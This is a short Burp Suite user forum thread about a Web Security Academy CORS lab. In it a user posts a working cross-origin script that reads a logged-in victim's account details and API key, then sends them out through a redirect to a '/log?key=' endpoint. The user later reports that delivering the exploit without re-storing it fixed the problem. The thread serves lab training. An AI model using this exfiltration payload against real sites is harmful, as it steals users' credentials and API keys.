Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CORS vulnerability with basic origin reflection

Olaf | Last updated: Sep 26, 2024 11:40AM UTC

Hi, I used all kinds of different browsers but the administrator user won't click or do any interaction to retrieve the api key. the script I used: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://<REDACTED>.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> Now this does work when I click on view exploit, then I see wieners credentials but when I deliver the exploit, I receive nothing from the administrator user. Any idea what could be wrong? Thanks!

Olaf | Last updated: Sep 26, 2024 01:09PM UTC

Nevermind! I got it solved. It turns out after you view the exploit, you go back and click immediately on deliver exploit instead of storing it again. That will do the trick!

Michelle, PortSwigger Agent | Last updated: Sep 26, 2024 02:49PM UTC